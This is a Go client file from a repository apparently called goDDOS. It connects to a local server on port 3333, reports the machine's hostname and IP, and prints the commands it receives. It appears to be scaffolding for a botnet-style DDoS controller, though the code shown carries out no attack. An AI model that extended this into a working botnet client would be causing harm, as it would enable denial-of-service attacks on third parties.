arnaucube
arnaucube/goDDOSPublic Self-hosted repository
goDDOS/client/main.go
client/main.goRaw
 1package main
 2
 3import (
 4	"bufio"
 5	"fmt"
 6	"net"
 7	"os"
 8	"time"
 9)
10
11const (
12	CONN_HOST = "localhost"
13	CONN_PORT = "3333"
14	CONN_TYPE = "tcp"
15)
16
17func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/
18
19	// connect to this socket
20	conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
21	hostname, err := os.Hostname()
22	if err != nil {
23		fmt.Println(err)
24		os.Exit(1)
25	}
26	fmt.Println("connecting to server as hostname:", hostname)
27	ip := getIp()
28	fmt.Println("local ip:", ip)
29	// send to socket
30	fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
31	for {
32		message, err := bufio.NewReader(conn).ReadString('\n')
33		if err != nil {
34			fmt.Println(err)
35			fmt.Println("server disconnected")
36			os.Exit(1)
37		}
38		fmt.Print("Command from server: " + message)
39	}
40
41}
42
43func getIp() net.IP {
44	var ip net.IP
45	ifaces, err := net.Interfaces()
46	if err != nil {
47		fmt.Println(err)
48	}
49	for _, i := range ifaces {
50		addrs, err := i.Addrs()
51		if err != nil {
52			fmt.Println(err)
53		}
54		for _, addr := range addrs {
55
56			switch v := addr.(type) {
57			case *net.IPNet:
58				ip = v.IP
59			case *net.IPAddr:
60				ip = v.IP
61			}
62			// process IP address
63		}
64	}
65	return ip
66}